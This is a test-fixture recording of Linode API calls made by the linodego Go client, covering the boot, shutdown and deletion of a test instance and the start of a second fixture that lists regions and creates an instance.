X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/events/603805129 method: GET response: body: '{"id": 603805129, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 24.0, "action": "linode_boot", "username": "youjungk01", "entity": {"label": "go-ins-poll-test", "id": 52557263, "type": "linode", "url": "/v4/linode/instances/52557263"}, "status": "finished", "secondary_entity": {"id": 55574050, "type": "linode_config", "label": "My Ubuntu 22.04 LTS Disk Profile", "url": "/v4/linode/instances/52557263/configs/55574050"}, "message": ""}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "527" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557263 method: GET response: body: '{"id": 52557263, "label": "go-ins-poll-test", "group": "", "status": "running", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.34.94"], "ipv6": "1234::5678/128", "image": "linode/ubuntu22.04", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "4351606c086016d7568003f3b436685b02d00a73", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "732" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_shutdown","entity.id":52557263,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557263/shutdown method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_shutdown","entity.id":52557263,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 603805277, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 7, "time_remaining": null, "rate": null, "duration": 15.762478, "action": "linode_shutdown", "username": "youjungk01", "entity": {"label": "go-ins-poll-test", "id": 52557263, "type": "linode", "url": "/v4/linode/instances/52557263"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "446" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/events/603805277 method: GET response: body: '{"id": 603805277, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 7, "time_remaining": null, "rate": null, "duration": 15.887149, "action": "linode_shutdown", "username": "youjungk01", "entity": {"label": "go-ins-poll-test", "id": 52557263, "type": "linode", "url": "/v4/linode/instances/52557263"}, "status": "started", "secondary_entity": null, "message": ""}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "397" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/events/603805277 method: GET response: body: '{"id": 603805277, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 28.0, "action": "linode_shutdown", "username": "youjungk01", "entity": {"label": "go-ins-poll-test", "id": 52557263, "type": "linode", "url": "/v4/linode/instances/52557263"}, "status": "finished", "secondary_entity": null, "message": ""}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "392" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557263 method: GET response: body: '{"id": 52557263, "label": "go-ins-poll-test", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.34.94"], "ipv6": "1234::5678/128", "image": "linode/ubuntu22.04", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "4351606c086016d7568003f3b436685b02d00a73", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "732" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557263 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestEventPoller_Secondary.yaml000066400000000000000000001460351474652371000325670ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:04 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-ins-poll-test","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 53282734, "label": "go-ins-poll-test", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["45.79.123.17"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": 